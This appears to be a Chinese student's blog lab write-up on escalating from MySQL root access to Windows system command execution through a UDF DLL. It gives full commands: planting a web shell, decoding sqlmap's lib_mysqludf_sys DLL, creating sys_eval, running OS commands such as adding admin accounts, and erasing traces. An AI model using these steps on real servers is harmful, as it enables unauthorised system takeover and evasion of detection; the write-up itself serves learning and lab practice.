mysql 5.5 udf提权_MySQL_UDF提权

大三就快结束啦,也要轮到我找工作啦,结合网上的资料和自己的经验准备了一些材料,算是对自己技术方面的小小总结吧。趁这个机会查缺补漏做一些原来知道但没有动手试过的实验。

一、原理

udf 即 user defined function,文件后缀为.dll。通过在 udf 文件中定义新函数,可以对 mysql 的功能进行扩充,利用 mysql 账号 root 权限创建可以执行系统命令函数的 udf.dll 动态链接库,把权限从执行 sql 语句提升到执行系统命令。

使用 udf 分为三个步骤:

把含义自定义函数(如执行系统命令函数 sys_eval )的 dll 文件放入特定文件夹下

声明引入这个dll文件中的自定义函数

使用自定义的函数

二、前提

root权限(需要创建和删除自定义函数)

mysql < 5.1,udf.dll 文件在 win2003 下放置于 c:\windows\system32 目录,在 win2000下放置在 c:\winnt\system32 目录

mysql >= 5.1,udf.dll 文件放置在 mysql 安装目录的 lib\plugin 文件夹下(该目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 lib\plugin 文件夹,然后将 udf.dll 文件导出到该目录)

三、提权

3.1实验环境

攻击机:win10

ip:192.168.34.1

靶机:win7

ip:192.168.34.130

攻击机在靶机写入一句话木马,蚁剑连接。

(mysql 远程登录报错 Host is not allowed to connect to this MySQL server 解决方法:在装有 mysql 的机器上登录 mysql -u root -p 密码(远程 phpmyadmin 也可以)

执行 use mysql;

执行 update user set host = '%' where user = 'root'; (这一句执行会报错,不用管它)

执行FLUSH PRIVILEGES;

)

3.2上传UDF

先判断数据库版本,符合 mysql >= 5.1 情况。

07a06ef8cbddc3e8e32908fb0b5421d6.png

sqlmap 中有 udf 文件,分为32位和64位,根据 mysql 的位数选择(不是靶机系统位数),命令 show variables like '%version_%'; 查看 mysql 位数。

41bbb055e906fd0170644f200130cf7c.png

sqlmap\data\udf\mysql\windows\32 目录下存放着32位的 lib_mysqludf_sys.dll_,但是 sqlmap 中自带的 shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用。可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak 目录下,执行命令:python2 cloak.py -d -i D:\Penetration\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_

解码后在 sqlmap\data\udf\mysql\windows\32 文件夹下会生成 dll 文件。在 mysql 安装路径下的 lib 文件夹内创建 plugin 目录,上传 lib_mysqludf_sys.dll。

8e0bd9d5e11aa88ab2bac08718c5fcc8.png

3.3引入函数

需要创建 udf 中存在的函数,可以用 winhex 打开 dll 看一下有哪些函数可以创建。这里选择 sys_eval 函数。

sys_eval:执行任意命令,并将输出返回。sys_exec:执行任意命令,并将退出码返回。

d9f8219f8e03b0148bd4ce58db80fcef.png

引入自定义函数:create function sys_eval returns string soname "lib_mysqludf_sys.dll";

0bef26e69ca8e4da43631cc6e1aad932.png

3.4使用函数

验证一下:select * from mysql.func where name = 'sys_eval';

4b52d2b0893b41a45859079b4937a884.png

select sys_eval('calc'); 弹计算器实验一下,还可以新建账号加入管理员组等进行其它操作。

4724972c2dab695b97fa7f66628b3ae2.png

3.5清除痕迹

删除函数命令:

drop function sys_eval;

delete from mysql.func where name='sys_eval';

f0fab828a8bc33837fd0f5bd5d9b02c1.png

8853303a4b14e4ac7f7dff999b8e08bd.png

参考:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值